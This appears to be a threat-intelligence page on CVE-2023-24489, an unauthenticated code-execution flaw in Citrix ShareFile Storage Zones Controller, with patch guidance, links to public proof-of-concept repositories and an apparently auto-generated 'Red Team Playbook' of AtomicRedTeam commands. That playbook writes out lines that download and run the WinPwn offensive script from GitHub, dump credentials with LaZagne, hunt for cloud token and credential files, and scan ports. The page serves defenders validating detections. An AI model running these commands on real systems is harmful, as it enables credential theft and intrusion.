CVE-2023-24489
Overview
This vulnerability is an unauthorized remote code execution flaw arising from improper access control in the ShareFile Storage Zones Controller's file upload functionality. The root cause is the lack of authentication enforcement on a critical endpoint that processes file uploads, allowing crafted requests to manipulate file paths and execute server-side code. The affected component is the customer-managed ShareFile Storage Zones Controller, specifically the documentum upload handler.
Vulnerability Description
A vulnerability has been discovered in the customer-managed ShareFile storage zones controller which, if exploited, could allow an unauthenticated attacker to remotely compromise the customer-managed ShareFile storage zones controller.
Impact
An unauthenticated attacker can exploit this flaw to execute arbitrary code on the ShareFile Storage Zones Controller, gaining full control over the affected system. This allows access to sensitive data stored within the customer-managed storage zones and the potential to pivot within the network. No user interaction or credentials are required to perform the exploit, enabling remote compromise and complete system takeover, which can lead to data breaches and operational disruption.
Solution
Citrix has released a security update addressing this vulnerability in the ShareFile Storage Zones Controller. Administrators should apply the patch detailed in Citrix advisory CTX559517 promptly. The advisory provides step-by-step instructions for updating affected versions and includes mitigation guidance. Refer to https://support.citrix.com/article/CTX559517/sharefile-storagezones-controller-security-update-for-cve202324489 for the official patch and remediation details.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
A critical vulnerability has been identified in the customer-managed ShareFile storage zones controller, which poses a significant threat to organizations utilizing this product for secure file storage and sharing. This vulnerability allows unauthenticated attackers to remotely compromise the storage zones controller, potentially leading to unauthorized access to sensitive data and critical business operations. The underlying technical flaw may stem from inadequate authentication mechanisms or improper handling of user inputs, which can be exploited to bypass security measures, granting attackers control over the system.
Exploitation of this vulnerability can occur through various attack vectors, primarily focusing on the exposure of the storage zones controller to the internet without adequate protective measures. An attacker could leverage automated tools to scan for vulnerable instances of the product, subsequently executing crafted requests that exploit the identified weaknesses. Once access is gained, the attacker could manipulate data, exfiltrate sensitive information, or disrupt service availability. Scenarios may include deploying ransomware, altering files, or using the compromised system as a launchpad for further attacks within the organization’s network, thereby amplifying the overall risk.
The real-world impact of this vulnerability is profound, particularly for organizations that rely heavily on the ShareFile storage zones controller for managing sensitive data. A successful compromise could lead to significant business risks, including data breaches, loss of intellectual property, regulatory penalties, and reputational damage. The financial implications could be severe, with potential costs arising from incident response, legal liabilities, and loss of customer trust. Furthermore, the high CVSS score of 9.8 indicates that this vulnerability is critical, necessitating immediate attention from security teams to mitigate potential exploitation.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regular vulnerability assessments and penetration testing can help identify weaknesses within the storage zones controller and the surrounding infrastructure. Additionally, organizations should ensure that the latest patches and updates provided by the vendor are applied promptly to address known vulnerabilities. Network segmentation can also be employed to limit exposure, ensuring that the storage zones controller is not directly accessible from the internet. Employing robust authentication mechanisms, such as multi-factor authentication, can further enhance security by adding an additional layer of defense against unauthorized access.
In conclusion, the vulnerability in the customer-managed ShareFile storage zones controller represents a significant threat to organizations that utilize this technology for secure file management. The potential for remote compromise by unauthenticated attackers underscores the need for immediate action to mitigate risks associated with exploitation. By adopting comprehensive detection and mitigation strategies, organizations can safeguard their data and maintain operational integrity in the face of evolving cybersecurity threats.
CSURFACE threat intelligence has detected a notable surge in activity related to CVE-2023-24489, indicating increased attempts to exploit the vulnerability in the customer-managed ShareFile storage zones controller. This uptick in telemetry suggests that threat actors are intensifying their focus on this critical weakness, likely driven by the availability of new proof-of-concept exploits that facilitate remote command execution across multiple platforms. Although the overall exploit probability score remains stable, the qualitative increase in detection events signals heightened adversary interest and potential for broader targeting. For defenders, this escalation underscores the urgency of maintaining vigilant monitoring and reinforces the criticality of this vulnerability as an active attack vector. Consequently, the threat level associated with CVE-2023-24489 has risen from a latent risk to a more immediate concern, warranting close attention to emerging exploitation trends and adversary tactics.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Citrix | Sharefile Storage Zones Controller | All |
cpe:2.3:a:citrix:sharefile_storage_zones_controller:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
adhikara13/CVE-2023-24489-ShareFile
This project is a Python script that exploits the CVE-2023-24489 vulnerability in ShareFile. It allows remote command ex...
|
adhikara13 | 13 | 3 | 2023-07-12 | View |
|
whalebone7/CVE-2023-24489-poc
POC for CVE-2023-24489 with bash.
|
whalebone7 | 1 | 0 | 2023-08-27 | View |
Threat Feed
5 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-24489 |
| support.citrix.com |
GitHub CVE
|
https://support.citrix.com/article/CTX559517/sharefile-storagezones-controller-security-update-for-cve202324489 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-24489 |